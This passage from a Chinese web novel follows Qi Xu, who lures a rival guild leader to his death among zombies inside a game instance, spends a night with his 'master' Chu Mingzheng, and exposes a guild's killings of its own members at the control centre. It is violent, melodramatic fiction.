“啊,这个真没有。”齐栩矢口否认。 “事实上,你做手术的时候我在想方设法的哄楚明铮,虽然最后还是哄失败了……不过我确实没有时间干预你的手术。” 唐虞非的指甲“咔嚓”一声,在身后的铁制大门上挠的崩断,流出一指甲盖的鲜血。 “至于你的逃跑路线,那很好猜。”齐栩解释道。 “从超市出来一共三个分岔路口,我看着你进了丛林,丛林是丧尸最少的一条路,但是同时丧尸藏匿的难度也最低,我觉得以第二公会会长的敏锐度和反侦查力,要躲过丛林里的丧尸不难,所以你会安全的从丛林出来,进入下一个选择路口。” “这时候你的选择变成了两项,一,丛林对面不远处的建筑群,二,建筑群周边的荒原地带……你肯定会选择建筑群,因为这时候你的体力已经耗尽了,如果选择荒原的话,意味着你接下来还要面临一轮全无隐蔽的丧尸大逃杀。” “你为了保存体力,一定会选择废弃的建筑群。”齐栩笃定的对他道。 唐虞非一声冷笑:“一派胡言。” “顺便说一句,你没有发现,你这几天被丧尸袭击的次数太多了吗,据我观察你是这群玩家里遇袭频率最高的,其他玩家厮杀归厮杀,但是运气好的话,至少是有几个小时的休息时间的……只有你,你不觉得自己像是在被丧尸一路赶着跑吗?” 唐虞非一怔,好像确实是。 他这几天连眼睛都没有合过,从头到尾维持精神高度紧绷,他原以为是副本难度高,对体力和耐力的考验大所导致的,可如今看齐栩这意味深长的眼色,唐虞非心里不详的预感又卷土重来。 齐栩微微一笑,朝他指了指耳朵。 “是你的血,会长,你进副本前流的血水太多了,伤口到现在都还没愈合,闻到血气,他们就会对你趋之若鹜,我那天在医院就该提醒你不要乱动纱布的,是我的错,我忘记了。”齐栩温和道:“让你这几天这么辛苦,我给你陪个不是。” 唐虞非大吼一声,被愚弄的愤怒和面临未知威胁的巨大恐惧一时间攥紧了他的心脏,他扑上来就要揍齐栩。 齐栩不慌不忙的从停尸台上高高站起,连眼睛都没眨一下,迈开长腿跨到了另一侧,让唐虞非扑了个空,一个踉跄撞在了停尸台坚硬的边缘上。 不知道是不是错觉,停尸台上寂静的裹尸袋随之颤动了一点幅度,好像有什么东西按捺不住,要从中破出来了一样。 唐虞非恐惧的朝后退去,目光死死盯着漆黑的裹尸袋,生怕尸体突然诈起,上来撕碎了他。 “然后等你进入废弃建筑群之后,事情就变的好办多了,只要把那个老医生的尸体放置在你能搜寻到的地方,你自然会上钩,来这个副本的出口处找我。” 齐栩站在停尸台的最前方,身形背对着头顶的照射灯,这个角度衬得他身高腿长,逆光而立,停尸间里阴森冷风流动,压迫感汹涌而出。 他眯着眼睛朝唐虞非笑:“这里是绝对不会有目击证人的,对吧?” 唐虞非面如土色,色厉内荏的咆哮起来:“你要干什么!你敢对我动手,我是第二公会的会长,我如果死在你手里,第二公会全体成员不会放过你,我做鬼我也不放过你!齐栩你——呃啊!!” 满屋子裹尸袋从里侧“哗啦”被撕开,数十个躺在其中的僵硬丧尸颤巍巍的挪动出来,只听“咕咚,咕咚……”几声重叠的重物落地声音,血腥和腐臭的味道如有实质,蔓延而出。 唐虞非抄起一旁的消防栓,对准最近处一个丧尸狠命一砸! 对面丧尸无动于衷,被重击的地方连一丝最微小的坑洼弧度都没显现出来。 唐虞非瞪大眼睛,嘴里喃喃道:“怎么会这样……为什么打不穿他们?” “你猜为什么只有这些尸体被放置在中心医院?”齐栩怜悯的望着他。 唐虞非心里浮现一个可怕的念头。 “这些才是病毒第一批实验者,他们最先种植了新药剂,生前就被病毒改变了身体结构,然后进一步病情恶化,变成丧尸,咬人被击毙后,病毒才从被咬者中又传递出去,逐渐蔓延全城。” “恭喜你,找到这群丧尸的祖师爷了。”齐栩笑吟吟的道。 唐虞非接连抄起数个消防栓拼命抵抗摔打,然而周围丧尸越挤越多,逐渐形成了一个包围圈,将他严丝合缝的包拢在里边。 “他们为什么不攻击你?”唐虞非气喘吁吁的惨笑道。 “我?”齐栩露出一个讶异的神色。 紧接着他站在停尸台上张开双臂,转了一圈,给他展示自己的周身,愉快道:“这群丧尸普遍视力微弱,全靠对血腥的感知来进行本能攻击。” “我身上没有伤口,也没有血,他们都感知不到我,为什么要攻击我呢?” 唐虞非逐渐体力不支,但是他又不甘心就这么死在这里,最起码……起码拉个垫背的吧。 仓促中几只丧尸硕大的黄牙一口扎进了他的手臂里,唐虞非痛的难以支撑,心知自己算是玩完了,巨大的绝望裹挟着他。 他的眼神逐渐变得猩红,在变异前仅存神志清醒的几分钟,他猛然发力,将丧尸群撞出一个豁口,歇斯底里的狂奔冲向齐栩。 濒死之人的力道是极其恐怖的,他抓着齐栩的手臂,呲目欲裂,将嘴巴张到最大,对准齐栩那张可恶的笑脸一咬而下—— “咔嚓。” 脖颈颈骨寸断开裂的声音。 齐栩平静的伸出一只手,在唐虞非咬下来的前一秒扣住了他的脖颈,连同下颌骨一起用手指攥紧,随即指骨蓦然爆发力气,向上一抬。 唐虞非登时瞳孔就涣散了。 他脖颈处的皮肉尚且还是连接在一起的,内里的喉管和颈部软骨却已经被齐栩一只手的力量给捏碎了。 唐虞非连临死前倒气的机会都没有,啊啊的大张着嘴,随即就被身后接二连三扑过来的丧尸拖下去撕碎了。 齐栩波澜不惊的站在停尸台上,目光空洞而冷淡,毫无怜悯。 丧尸们吃完了唐虞非的残骸,开始六神无主的在停尸间里寻找下一个目标。 齐栩后退了一两步,从高台上跳了下来,懒洋洋按下了提前就找到的地铁通道开关,循着幽深的漆黑地道走了出去。 不多时眼前空间扭曲片刻,再一睁眼,就已经是自家府邸的场景了。 齐栩低头打量了一下自己的衣服,发现身上沾了不少唐虞非的血。 虽然不是他自己的血,但是大半夜的一身血水站在客厅里,也是有点瘆人,齐栩不由嫌弃的移开了眼睛,打算去淋浴间冲洗一下,换身新衣服。 他低着头往淋浴间走了两步,忽然想起了楚明铮。 齐栩眼珠子一转,心里冒出一个主意。 …… 却说楚明铮这边,距离齐栩来给他送药,他态度很不好的把齐栩赶出门那次,距离今天已经过去快一个星期了。 齐栩一直没来找过他。 楚明铮每天在府邸里无所事事,只能在院子和府邸的其他楼层到处逛逛,楚小妙和马飞仙他们每天饭点都从西苑到主苑里来陪他吃饭,饭点过后跟他插科打诨几个小时,晚上又再回去。 府邸里的副官和仆从都对他有礼有节,偶尔能见到那个叫祝檀雪的女秘书过来从齐栩办公室里取点东西走。 不过每次齐栩都不在,她取完材料在走廊上碰见楚明铮,就很有礼貌的喊一声:“你好,楚先生。” 楚明铮也回一声“你好”,然后站在原地行注目礼送她出门。 “很漂亮,是不是?”齐栩的副官焦澜像个幽灵一样飘到楚明铮身侧,看着院子里祝檀雪雷厉风行的倩影,感慨道:“那是我们主控中心最漂亮的姑娘。” 楚明铮斜睨他一眼:“你喜欢祝秘书?” 焦澜慌忙摇头:“我可不敢,我看楚先生倒是挺欣赏她的。” 楚明铮叹了口气:“这话别乱说,好吗?” “虽然我现在不怕齐栩,但是我不打算给自己没事找事。” 焦澜眼睛一亮,指着楚明铮笃定道:“我懂了,楚先生,你怕长官误会你!” 楚明铮:“……” 总体来说日子过的很平静。 他一个星期都没见到齐栩一次,也不知道那小子是真的主控中心工作有那么忙,还是纯粹被楚明铮上次的反应弄的伤心,不肯再来见他了。 楚明铮懒得分析齐栩的心理,他觉得一个成年人应该学会自己消化自己的情绪,否则就应该回炉重造。 不过楚明铮这几天已经不做噩梦了,在从前那个旧卧室里也能睡的安稳,可能是齐栩不在的原因。 他觉得屋子本身问题不大,比起屋子风水,更大的问题可能是齐栩本人。 只要齐栩不在,他的心理阴影就不会发作。 楚明铮一连安睡了几个晚上,直到今天夜里。 他时间如常的跟楚小妙以及马飞仙他们道别,目送着他们回到西苑,自己在收拾一番,回到那个地下室上床睡觉。 齐栩把地下室和卧室的密码全都给他解开了,如今楚明铮在整个府邸里畅通无阻。 他收拾好东西,熄灯上床。 屋里陷入一片寂静的黑暗,楚明铮不多时就合着眼睛睡着了,地下室里与世隔绝,极其安静,没有人来打扰他,除了…… 门外传来一声沉闷的声响,听上去仿佛有人体力不支,踉跄着跪倒在地上,中间夹杂着粗重的喘息声,断断续续的,听上去很令人难受。 又是一声闷响,好像是门外的人痛苦的调整了一下姿势,企图起身,结果将膝盖砸上了坚硬的地板。 楚明铮倏然睁开眼睛,警惕性十足的穿着睡衣从床上起身,小心翼翼的走到了门口,将卧室门板掀开了一道小缝隙,透出屋外一线廊灯的光亮。 楚明铮看清楚了屋外的景象,眼睛瞬间睁大了:“你……” 只见齐栩一身鲜血,气若游丝的单膝跪在地上,脸色苍白,嘴唇泛着惨淡的血丝,身上的冲锋衣半敞开着,露出外套内侧被血水浸透鲜红的白衬衣。 他摇摇欲坠的跪在地上,朝楚明铮张了张嘴,轻声喊了句:“师父。” 然后蓦然一顿,紧接着身形朝前直挺挺倒下来,直接扑进了楚明铮怀里。 楚明铮吓了一跳,连忙伸手接住他,防止齐栩真一个跟头把自己砸昏在地上,造成执政官惨死地下室的血案。 到时候他这个唯一的地下室居住人口,有理都说不清。 “醒醒,你怎么了?”楚明铮焦急道:“能听见我说话吗?” “齐栩?” 齐栩将整张脸埋在他怀里,无意识的哼哼几声,将自己沉重的身体往楚明铮的臂弯里陷的更深了。 楚明铮没办法,只好双手穿过他的下腋,试图将此人拖拽起来拎回床上,然后再上楼去找他那些副官医生之类的帮忙看什么情况。 齐栩的身形比他想象的还要沉,光是将对方往门槛里拖,就差点要了楚明铮半条命。 “你怎么回事,谁能把你伤成这样?”楚明铮一边拖行,一边惊疑不定的问齐栩,语气里藏着大概他自己都没能察觉到的关切。 齐栩当然不会回答他,只一味的埋头在他怀里,半梦半醒迷迷糊糊的搂着楚明铮的腰,给楚明铮的拖行加大难度。 楚明铮费了九牛二虎之力,总算把他拎到了床边。 “你能自己爬上去吗?”楚明铮拍了一下他的屁股,气喘吁吁的崩溃道:“我真扛不动你了。” 齐栩在昏迷中仿佛被他戳碰到了伤口,疼的哼哼唧唧,无力的摊开身体倒在床边,手指却还死死抓着楚明铮的衣角,生怕他扔下自己走了。 “松开我衣服,你麻不麻烦!”楚明铮暴躁道。 齐栩侧头抵在床沿上,一动不动。 楚明铮没好气的俯身,伸手去探他额头的温度,发现齐栩并没有发烧的迹象后,他稍微松了口气,暂时放弃了把齐栩抬上床的这个打算,转身去找手机,打算给他副官打电话。 然而楚明铮在屋子里转了几圈都没看到自己手机在哪儿,明明临睡觉前就放在床头柜上的啊。 跑哪儿去了? 楚明铮一头雾水。 算了,去一楼喊人下来吧,这个点应该还有警卫在值班。 楚明铮抬腿就走,不料身后一股大力袭来,齐栩从身后搂着他的腰,冷不丁将他拖着抱了回去。 楚明铮短促的叫了一下,猝不及防当空失重,被拦腰搂着摔在了齐栩身上。 “你有毛病啊!”楚明铮怒斥道。 “师父,我刚从副本里出来。”齐栩仍旧维持着他那个气若游丝的腔调,在楚明铮耳畔虚弱道:“我害怕,你别走……” “我去给你喊医生,我不走,你给我松手!” 楚明铮挣扎的想从他手臂的桎梏里挣脱出来,两人僵持的间隙,楚明铮鼻尖忽然闻到一股浓重的血腥气,触碰到齐栩的那只手掌变得黏糊糊的,一摸一手血水。 出血量这么大的吗?楚明铮浑身一冷,疑虑和担忧瞬间裹挟了他的心脏。 “齐栩,你到底怎么回事?!”他的语气骤然变得严厉起来,一叠声的催促:“让我看看你伤哪儿了?齐栩!别闹!” 他虽然对齐栩对他做的事情有PTSD,但是他并不希望齐栩真死了。 有齐栩在主控中心掌管大局,对楚明铮而言利大于弊,起码唐虞非之流会忌惮着齐栩几分,不敢拿他怎么样。 否则以楚明铮过往那个辉煌的战绩,重生归来不知道得有多少帮派组织对他的价值垂涎欲滴,有礼貌一点的组织有可能过来投递一下橄榄枝,没礼貌的像唐虞非那种,在他的必经之路上或者过副本途中动点手脚也不是不可能。 楚明铮眼下的这副尚未恢复完全的身子骨,显然难以应付这些人。 所以他不希望齐栩出事,起码不希望齐栩在他身体机能恢复到巅峰之前出事。 “让我看看,你别动!” 楚明铮用尽自己最大的力气从他怀里拧身出来,一把将齐栩推抵到床头,居高临下扒开他冲锋衣,扯开他冲锋衣底下单薄的衬衫,逼着他露出光裸的胸膛和紧实的腹肌。 齐栩整个上半身赤条条的暴露在空气中,冻的直打哆嗦,连忙从床上坐起身要阻拦:“等等等等……师父,你别这样——师父!” 楚明铮手起刀落,扒住他单薄的衬衫,“刺啦——”一声,整个撕扯着齐栩的衣服全数裂开,此动作之强硬,姿态之诡异着实将齐栩惊的坐在床上,大气不敢喘一下。 “师父,师父你居然……撕我衣服。”齐栩魂飞天外的惊悚道:“你,你现在像个采花的强盗……” 卧室里黑灯瞎火,加上楚明铮太着急了,也没注意仔细看这人的脸色和状态,只觉得他怎么声音忽然就从气若游丝恢复到正常说话了。 楚明铮将那个扯开他衣服的糟糕姿势维持了数秒,随后意识到不对劲。 “你到底受伤了没有?”楚明铮狐疑道。 “受了。”齐栩诚恳的点头。 “伤哪儿了?” “出副本的时候太着急,把脚扭了一下。” “身上的血哪儿来的?” “别人的。” 齐栩拎过被子,哆哆嗦嗦的给自己裹在身上,回答的十分老实,那姿态活像是楚明铮刚把他衣服扒了,扔到床上准备图谋不轨。 楚明铮重复了一遍:“别人的?” “嗯。”齐栩谨小慎微的点头。 “那你刚才倒在我门口,你……”楚明铮后知后觉的反应过来,难以置信的问他:“你的意思是说,你晚上刚从副本里出来,第一件事不是去睡觉,不是去疗伤,也不是去洗澡换衣服,你跑到我门口扮柔弱给我看?” 齐栩的脸刷的红了,他抱着被子蜷缩起来,将大半张脸埋在楚明铮的被褥里,倏然闭上眼睛卷着被子背过身去,不跟楚明铮说话了。 楚明铮:“……” 楚明铮简直气死了。 什么心理阴影,什么对于齐栩的PTSD统统都被抛到了脑后,楚明铮怒从胆边生,翻身上床揪着这孙子后脖颈,上手就跟他抢被子。 齐栩翻滚了两下,然后被楚明铮借着地形优势拎起枕头对准脸,捂住口鼻狠命压下去,楚明铮下了死劲,绝不松手,看来是真的气狠了。 齐栩也不害怕自己被捂死,就这么躺在床上任由他拿着枕头按了数秒。 然后伸手握住楚明铮的手腕,腰腹发力,一把将楚明铮从身上掀翻下去,两人地理位置顷刻间置换颠倒。 楚明铮闷哼一声,被他攥住手腕整个包拢起来,腰身也被人从身后握着一提,整个被齐栩搂进怀里。 楚明铮怒火中烧,被这神经病气的眼前发黑,明明人已经被禁锢在齐栩怀里了,嘴上还不屈不挠的骂着。 齐栩伸手掰过他的下颌,强迫他将脸转过来,鼻尖相抵,呼吸交融,他却一点后退的意思都没有,反而离楚明铮凑的越来越近。 楚明铮不傻,他当然知道齐栩想干什么,但是他这会儿受制于人,难以反抗,只好紧抿着嘴唇,一声不响,以此表达行为上的抗拒。 齐栩哑声笑了笑,扶着他的后脑勺,用力吻了上去。 他熟练的撬开楚明铮的牙关,一只手伸在楚明铮的脑后,制止他向后闪躲,只能嘴唇微张着承受这个亲吻。 楚明铮闭上眼睛,自知躲不过,只好任由齐栩折腾。 后来大概过了五六分钟,楚明铮嫌这人实在磨蹭的时间太长,接个吻没完没了,烦死人了。 于是伸出手肘,一记肘关节捣在了齐栩的肋骨上。 齐栩吃痛,“嘶”的一声,神情很委屈的松开他。 楚明铮顾不上跟他计较在卧室门口装柔弱的事,抢先一步盘问道:“你刚才说身上有别人的血,谁的血?” 齐栩没有回答这个问题,隔了半晌,他安静的垂下眼帘,反问道:“你说呢,师父?” 楚明铮的心脏停跳了一拍。 “你是了解我的。”齐栩温声道,他注视着楚明铮黑暗里那双形状漂亮的眼睛,轻轻伸手用指腹摩擦了一下对方的眼尾:“别那么惊讶,师父,就是你想的那个人。” 楚明铮相当长的时间都没说话,直到齐栩按捺不住,又将脑袋凑过去吻他的时候,他才蓦然开口。 “你把唐虞非杀了,那主控中心那边怎么交代?第二公会不是在主控中心里所占比重也不小么?” 齐栩不依不饶,又俯身压着他,在楚明铮嘴唇上索吻半晌,楚明铮被他搞的烦不胜烦,形状优美的嘴唇被吻的通红泛水,交缠出暧昧的银线。 楚明铮想说话,又被按着亲,最后恼羞成怒用力在齐栩嘴上狠咬一口,齐栩这才依依不舍的放开他。 “你给我说正事!”楚明铮怒道。 “我没杀唐虞非。”齐栩小声道。 “那你说你身上有他的血?” “他自己过副本死的,我只是恰好跟他进了一个副本而已。”齐栩笑着安抚楚明铮,掌心在对方清瘦的脊背上轻轻拍了两下温声道:“师父放心。” 这话楚明铮要信才有鬼,不过他冷不防想起另一茬事来,当即举起手腕质问:“你给我绑的那个绑定的红线,不是说一旦绑上手腕的红线,就得一直绑定在一起过副本吗?” “你跟唐虞非过的那个副本,我怎么没去?” 齐栩难为情的将脸埋在他的锁骨处乱蹭,很快又把楚明铮蹭的心头火起,屈膝用力往齐栩小腹上一顶:“你给我好好说话!” “那个绑定红线是单方面的,就是师父的副本我必须进,但是我的副本可以选择性让师父进……其实就是我权限比较高,可以自行伊v索调整道具用途了……师父我怕你生气,我就没说……” “我是该生气。”楚明铮面无表情道:“你应该让我亲自对唐虞非动手的,现在我还没恢复,他就死了。” 齐栩亲昵的在他鼻尖蹭了一下,安慰道:“没事,他死的特别惨,师父不用为死人烦心。” 虽然齐栩说的是他没对唐虞非下手,但是楚明铮显然不是三岁小孩,没那么好骗。 哪有可能同一个副本同时把第一公会和第二公会的长官全包括进去?一山还不容二虎呢,齐栩和唐虞非能分在一个副本里,只有一种可能。 那就是他们之中地位较高那一方的有意为之。 唐虞非的死必然是齐栩的手笔。 第二公会实力和地位都不弱,公会会长惨死更是闻所未闻。 齐栩眼下在卧室里跟他云淡风轻的撒娇,明天去了主控中心指不定得面对什么风暴,楚明铮想到这茬,心头莫名其妙的有点沉重。 “你……”楚明铮还要在说什么,身侧齐栩的呼吸已经变重了许多,声音也变得迷迷糊糊了起来。 “师父,今天太晚了,你就让我在这儿休息吧,求你了师父……” 耳畔均匀的呼吸声传来,齐栩脑袋一偏,已经睡着了。 楚明铮被他密不透风的搂在臂弯里,无言抬头,将天花板瞪了半晌,最终无奈的默许了。 夜色温良,风声舒朗。 …… 翌日清晨,主控中心大楼正前门。 第二公会副会长怀里抱着一张黑白遗像,端端正正的跪在主控中心气势恢宏的前门阶梯前,身后乌泱乌泱跟了一大群披麻戴孝的第二公会会员。 正中央那副黑白遗像上,正是唐虞非微笑的面容。 来来回回的人都好奇的打量他们。 副会长眼眶通红,神情坚定,跪在石阶前,眼看着门内密密麻麻穿主控中心制服的人从里快步走出来,他眼睛一瞪,立刻高喊出声:“齐栩长官在哪儿!让他出来给第二公会一个解释,否则杀人就该偿命!” 楼里出来为首那位,正是向来跟齐栩不对付的魏长官。 他居高临下站在石阶上,问底下跪了一地的第二公会成员:“你们说齐栩长官杀了第二公会唐会长,这事有证据吗?” “有!”副会长情绪激动,上前两步就要蹿到魏长官身边来,被魏长官轻轻一抬手,两边护卫同时上前止住他的动作,不让他靠近。 “就站在原地说。”魏长官淡淡道。 “齐栩和唐会长一起进副本,这事有目共睹,可你们不知道的是,唐会长临进副本的前一夜,齐栩长官曾上门拜访,对唐会长进行言语威胁,还用言语刺激唐会长让他自残,导致唐会长进副本前就身体抱恙,甚至还在住院!” “魏长官,我想问问你们主控中心高层的诸位,身为执政官,便可以这样公报私仇吗?” “就是!就是!让齐栩出来给我们解释!” “否则难以告慰唐会长在天之灵!” …… 魏长官的面容很古怪的扭曲了一下,不动声色的跟属下互换了一个眼神。 “长官,这……”属下为难道:“要不要上报主神?” “报。”老魏言简意赅的吩咐道:“你现在就去报。” 属下得了命令,扫视了一圈底下黑压压一片的第二公会成员,低声问道:“……那这群人?” “交给齐栩自己处理。”老魏漫不经心的抬起手腕,看了一眼腕上的表盘:“这个点,他也该来上班了。” 果然下一秒,石阶上响起熟悉的脚步声,齐栩的声音从副会长等人身后传来:“魏长官时间掐的挺准,早上好。” 他仍旧是穿着那件高挺笔直的深色风衣,黑色西裤,身量极高,在人群中宛如鹤立鸡群,扎眼至极。 魏长官好整以暇的打算看戏,谁料齐栩径直从石阶上缓步而上,直接掠过了跪在地上的一众第二公会人等,仿佛压根没看见这帮人。 副会长出离的愤怒了,抱着遗像踉跄起身,沿着石阶大跨几步,跌跌撞撞的就要往齐栩的背影上扑去。 魏长官给周遭自己的亲信护卫递了个眼色,低声咳嗽一声,众护卫立刻心领神会,从石阶上撤身开来,给副会长让出一条道,方便他直接冲到齐栩跟前去。 齐栩的后背仿佛长了眼睛,他倒也没有亲自回身动手跟副会长互殴的意思,那太掉价了。 他单手插在风衣侧兜里,原本走路走的好好的,就在副会长抱着遗像冲过来触碰到他的前几秒,齐栩轻飘飘的转了个弯,走到老魏身后去了,仿佛只是关切的跟同事说句话:“对了,魏长官,你上次临时加的那个会议记录我看完了——” 他话刚说到一半,副会长就一个脚下刹车刹不稳,抱着遗像硬生生扑到了魏长官面前,紧接着慌乱之中左脚踩右脚,倏然一下向前趴去,“嗷!”的惨叫一声,跌倒在了魏长官身上。 可怜的老魏一大把年纪,身子骨不如齐栩灵活,直接被副会长迎面而来的庞大身躯砸了个仰面朝天。 “哎呦哎呦”几声哀叫着就要摔下去。 齐栩及时的伸出手,扶住了魏长官的老腰,惊讶而关心道:“当心——你没事吧老魏?” 魏长官借着齐栩的力道,才勉强在危险的石阶上站稳,惊魂未定大口喘着气,半晌都说不出来话。 最后指着齐栩咬牙切齿的笑了一下,戏谑嘲弄道:“你小子。” 齐栩无奈:“你看你,我好心扶您,您怎么还说我?” “你那是好心吗?”老魏没好声道:“你那是公报私仇。” “那您就是唯恐天下不乱了。”齐栩温声回敬。 两人打着机锋互相呛了几句,完全没搭理一旁的第二公会成员们。 副会长眼见着这两位唠起来了,气不打一处来,下一刻他变戏法似的,从怀里猛然抓出一把纸钱,扬手投掷到空中怒吼一声:“你们主控中心今天要是不给个说法,我们就在这里给唐会长,出!殡!!” 他说着一扬手,身后披麻戴孝的第二公会会员们各自面无表情的从身后拿东西,掏唢呐的掏唢呐,掏锣鼓的掏锣鼓,更夸张的是有人直接从那盛放祭祀物品的篮子里,拿出了一把二胡。 一队人马就这么在主控中心门口吹吹打打,凄凄哀哀的演奏起来了。 魏长官:“……” 魏长官的几个下属:“……” 魏长官的护卫们:“……” 齐栩:“……” 齐栩身后的两个副官:“……” 祝檀雪:“……” 主控中心大门前的场景此时分外诡异,起码是齐栩本人上了这么多年班从没见过的诡异。 老魏的脸色已经逐渐阴沉下来了,他在被卷入副本前就已经退休了,如果不是后来实力太强被召入主控中心工作,现在正应该是颐养天年的岁数。 这个岁数的老人,最忌讳别人在他面前提“死”字,更别说现在还真有一帮人站在他面前吹吹打打奏没名堂的哀乐,那更是往老魏逆鳞上的逆鳞触。 在老年人面前干这种事,上赶着犯忌讳也不带这么犯的,不吉利到极点了。 老魏听着听着就开始怒火中烧,按捺了片刻发现齐栩没动静,他先忍无可忍了,冷着脸就要回身喊人来强行将这些人驱逐出去。 然而齐栩在一旁伸出手,轻轻按下了他的举动,示意他交给我。 他抬腿往楼梯下迈了几步,风度翩翩的对这支丧仪乐队做了一个音乐指挥里“收”的手势,唢呐声和二胡声顷刻间就偃旗息鼓了。 站在最前面一把一把往齐栩身上洒纸钱的副会长闻声回头怒斥道:“我让你们停了吗?!继续啊!” 身后鸦雀无声,没人听他的。 在主控中心大门口前造势是一回事,真面对面跟传闻中那个手段犹如酷吏的执政官叫板是另一回事。 然而齐栩的脾气意外的好,他任由那些纸钱像大雨似的往他身上飘飞,也不生气,只站在原地心平气和的问那副会长:“你刚才说,是我害死了唐虞非,为什么这么说?” 副会长停下扔纸钱的动作,抬腿跨了两步台阶就跳脚:“为什么这么说?!” “齐长官自己做的事情自己总不至于不承认吧,你是不是在会长进副本的前夜对他进行了袭击,还导致他进了医院?” “事实上是他自己出门挑衅其他组织在先,被对方组织的阴间器物造成了耳膜和精神损伤,而我刚好路过,把他送进了医院。”齐栩平铺直叙道。 “一派胡言!全盘编造!”副会长怒吼。 “我的话是不是编造,你们第二公会当天晚上有不少成员手下是跟着唐虞非会长一起出动,然后受伤的,把他们带过来一问不就知道了?”齐栩反问。 “什么手下,会长一向喜欢单独行动,哪来的什么手下?”副会长的眼珠子不易察觉的转了一下,流露出那一瞬间的翳动,就被齐栩捕捉到了。 “啊……”齐栩恍然大悟,忽然俯身下去,凑近他轻声道:“当天晚上跟唐会长一起出门袭击楚明铮的那些手下,不会是……已经被灭口了吧?” “你只有把他们灭口了,才能掩盖住唐会长进副本前受伤的真实原因,才能把他受伤的原因推到我身上,从而万无一失的指控我是杀害唐虞非的唯一凶手。” 副会长脸色发白,字字颤抖:“你在说什么?我不知道……” 齐栩骤然起身,眼神里再无一丝笑意,朗声吩咐:“来人。” “现在就去召集第二公会全体人员,一一核对名单,发现有失踪的成员立刻公之于众!” 齐栩残忍的笑了起来:“让我们看看,第二公会为了将这瓢脏水泼给我,到底灭口了多少手下?” 第57章 沙漠,干尸(一) 狂风飞舞,黄沙漫天…… “你不能这么做!这是我们第二公会的私事,你无权插手!”副会长声嘶力竭,握着遗像相框的手抖如糠筛,随即抄起相框就要往齐栩身上砸。 齐栩伸手当空稳稳握住迎面砸来的相框,指骨发力,握住冰凉的边缘,直接将一整个相框从副会长手中扯了过来,拿到自己手里。 “你——”副会长气急败坏:“把会长的遗像还给我!” 齐栩漫不经心的拿着遗像翻转了一下,将唐虞非微笑着的脸对准石阶下的一众人等,慢斯条理道:“不还。” “事实上,现在应该是轮到我在唐虞非身死后为他讨公道了,我得让他看看,他死了以后是多么的人走茶凉,以至于他生前最亲密的心腹属下们,都能被人这样肆无忌惮的残忍灭口。” 主控中心头顶云层浓郁,天色晦暗,骤转阴沉。 主控中心的警卫已经在齐栩的授意下将整个第二公会闹事集体团团围住,随时等候核对结果。 大约过了一个多小时,齐栩派出去的手下们去而复返,快步走到石阶前跟他汇报:“报告长官,第二公会目前在册登记人数74人,我们过去的时候实际控制住的人数有68人,还有七人下落不明。” “经盘问得知,那七人在数天前曾跟随唐会长出门办事,后受伤送入医院,然后就再都没有回来。” 齐栩轻微的点了下头,忽略了台下面如土色的副会长,继续问道:“医院排查了吗?” “已经查过了,医院有他们七人明确的就诊记录,症状都是耳膜连同神经受损,可以确定跟唐会长的症状一样,也跟我们所得线索对的上。” “但是这七人在入院后就下落不明了,没有出院记录,护士第二天早上查房的时候,七人就已经不在了。” 齐栩眯了一下眼睛,低头对副会长微笑道:“这么说来,这七个人是凭空消失了啊……” “他们自己离开的,你有什么凭证能证明这七个人是我们灭口的?”副会长声气很明显不足了。 齐栩背着手,示意他再等等。 第二批手下紧随其后,焦澜一路将面包车开到了主控中心大门前,引擎熄灭,车门打开,从中跳出七八个小伙子,迅速下车去打开后备箱的门,紧接着从后备箱里抬出数个沉重硕大的裹尸袋,两人一袋,总共搬了三次。 在众人惊异的眼光中,几人将裹尸袋从后备箱里全部搬了下来,平平整整的堆在主控中心石阶底下,不偏不倚,刚好七个。 “长官,这是我们在当天医院的停尸间里找到的,医院的人说并没有这些人的死亡记录。”焦澜站在七个裹尸袋面前,对齐栩汇报道。 齐栩一抬下颌,吩咐道:“喊法医过来,打开裹尸袋现场验尸。” “他们到底是被医院治死的,还是被自己人灭口死的,一查不就知道了?” 魏长官的副官在一旁小声道:“齐长官,这光天化日的,把七个尸体赤条条的摆在主控中心大门口,不太好吧……” 齐栩似笑非笑的瞥他一眼,平和道:“不打开裹尸袋也行,毕竟死者为大,任谁死后被人这么折腾来去都不好受,只要副会长认罪,我就不叫他们七个曝尸当场,如何?” 副会长嘴唇哆嗦着,从嗓子眼里几不可闻的挤出来一声:“不……” 齐栩也不勉强他,只摊手道:“所以说,这七人在第二公会兢兢业业多年,到头来落得个死后赤裸任人围观开膛剖腹的下场,也是唏嘘,今日在他身后给他摇旗呐喊开殡葬演奏会的其他人,日后高层斗争沦为棋子,也有可能是这个下场哦。” 齐栩意有所指的扫视了一圈底下除副会长外的其他人。 第二公会那些披麻戴孝的成员隐隐骚动起来,不安和胆怯的情绪在人群中蔓延,眼看着就要打退堂鼓了。 副会长只觉身后无数目光盯在他身上,如芒在背,将他折磨的难以忍受,背后冷汗涔涔而下,湿透了内里的衣服。 齐栩又安然的等了片刻,见副会长仍是毫无动静,于是一挥手:“好了,验尸吧,就在这儿剖开他们的内脏,里里外外的翻过来,全检查一遍。” “任何一个细节,都不要放过。”他加重语气,微笑道。 “停!”副会长终于破口而出。 “我认。”他艰难而干涩的说了一句:“我认,是公会高层做决定,让人灭的口,我……我们也是没办法,会长一死,我们退无可退,主控中心一定会派人空降,把我们这些第二公会老人挤走。” 齐栩温和道:“早这样不就好了。” 石阶上一片寂静,天空云层逐渐加厚,酝酿出山雨欲来的阴沉。 不多时,空中就飘起了淅淅沥沥的小雨,焦澜快步从车里拿了把黑伞,倏然撑开走上来打在齐栩头顶。 齐栩大半张面容都笼罩在黑伞浓重的阴影下,将他整个人显得沉冷而肃穆。 “报——主神发话了!”身后主控中心大厅里跑出来一个人影,正是刚刚魏长官派进去汇报主神的那位手下。 “主神说,第二公会会长之位由第一公会上任首领周自重担任,其余涉嫌杀人灭口的高层,就地处决。” 他话音刚落,副会长和前排几位抄着锣鼓的中年人不约而同大惊失色,刚要高喊辩驳,然而下一秒—— “咔嚓!” “咔嚓!” 几声喉骨断裂的脆响,仿佛空中有一双无形的大手,当空扼住了他们的脖颈,副会长的头颅以一个活人难以做到的弧度顷刻间弯折下去,外表皮肉连根折断,下一个瞬间人头落地,骨碌骨碌在地上滚了几米远,最终掉落石阶底下。 血水汩汩,黏腻流涌,淌满了整条石阶,形成了一束血浪,仿佛绽开的红色地毯,一路铺陈到了脚下。 齐栩默立在原地,半晌没有说话。 魏长官声音很低的开口了:“你这样行事,晚上真的不会做噩梦吗?” “噩梦?”齐栩好笑道。 他站在黑伞底下侧过头,刚好对上了魏长官神情复杂的眼神。 